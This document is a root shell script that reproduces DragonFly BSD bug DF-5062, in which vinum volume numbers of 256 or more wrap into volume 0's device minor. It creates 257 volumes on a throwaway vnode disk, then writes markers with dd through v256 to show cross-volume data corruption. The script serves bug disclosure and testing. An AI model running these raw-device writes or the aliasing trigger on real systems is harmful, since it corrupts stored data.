DF-5062 / df5062_volalias.sh
#!/bin/sh # DF-5062 โ vinum volume minor aliasing: volno >= 256 wraps into VOL[0]. # # VINUMDEV(v,p,s,t) puts the volume number in the low VINUM_VOL_WIDTH=8 bits # of the minor. made_vol() (vinumconfig.c:763) creates the /dev/vinum/vol/<name> # node with VINUMDEV(volno,0,0,VINUM_VOLUME_TYPE) and never checks that the # volume number fits in 8 bits. Volume #256 gets minor 0x100, which # Volno() (vinumutil.c:241) decodes as volno 0 โ every open/read/write/ioctl on # /dev/vinum/vol/v256 is served by VOL[0] (volume v0): deterministic # cross-volume data corruption and wrong-object sizing. # (makeudev() flags minor 0x100 as NOUDEV for stat purposes โ that is why # ls -l shows the bogus "255, 0xffff00ff" rdev โ but kernel minor() returns # the raw si_uminor, so the open path really does reach vinum with 0x100.) # # Run as root on the DragonFly guest after pushing: label.bin, this script. set -x date uname -a export PATH=/sbin:/bin:/usr/sbin:/usr/bin kldload vinum sleep 1 # ---- vn0 vnode disk + vinum-typed 'a' partition (label from DF-4592 pack) ---- dd if=/dev/zero of=/tmp/disk.img bs=1m count=32 vnconfig -c vn0 /tmp/disk.img dd if=/tmp/label.bin of=/dev/vn0 bs=512 seek=1 conv=notrunc sleep 1 ls /dev/vn0s0a # ---- drive + volume v0 (1 concat plex, 1 subdisk of 4m) ---- printf 'drive d1 device /dev/vn0s0a\n' > /tmp/df5062_c1 printf 'volume v0\nplex name p0 org concat\nsd name s0 drive d1 len 4m\n' > /tmp/df5062_c2 vinum create -f /tmp/df5062_c1 sleep 2 vinum create -f /tmp/df5062_c2 sleep 3 vinum start v0 sleep 2 vinum l | head -12 # ---- 256 more volumes: v256 is volume number 256 (0-based) ---- : > /tmp/df5062_c3 i=1 while [ $i -le 256 ]; do printf 'volume v%d\n' $i >> /tmp/df5062_c3; i=$((i+1)); done vinum create -f /tmp/df5062_c3 sleep 3 echo '==== volume device nodes (note v256 minor 0x100 == 256) ==========' ls -l /dev/vinum/vol/v0 /dev/vinum/vol/v255 /dev/vinum/vol/v256 echo '==== DIOCGPART sizing: v256 must report its OWN size (0, no plexes).' echo '==== On the vulnerable kernel it reports v0 size 4194304 ==========' diskinfo /dev/vinum/vol/v0 2>&1 | head -2 diskinfo /dev/vinum/vol/v256 2>&1 | head -2 echo '==== data aliasing ===============================================' printf 'AAAA-v0-mark' | dd of=/dev/vinum/vol/v0 bs=512 seek=0 conv=notrunc 2>/dev/null echo '-- readback via v0 (expect AAAA):' dd if=/dev/vinum/vol/v0 bs=512 count=1 2>/dev/null | tr -d '\0' | head -c 32; echo printf 'BBBB-v256-ALIAS' | dd of=/dev/vinum/vol/v256 bs=512 seek=0 conv=notrunc 2>/dev/null echo '-- readback via v0 (BBBB => writes through v256 landed in v0):' dd if=/dev/vinum/vol/v0 bs=512 count=1 2>/dev/null | tr -d '\0' | head -c 32; echo echo '-- readback via v256:' dd if=/dev/vinum/vol/v256 bs=512 count=1 2>/dev/null | tr -d '\0' | head -c 32; echo echo '==== summary ======================================================' vinum l | head -8 dmesg | tail -5 date echo DONE_DF5062 |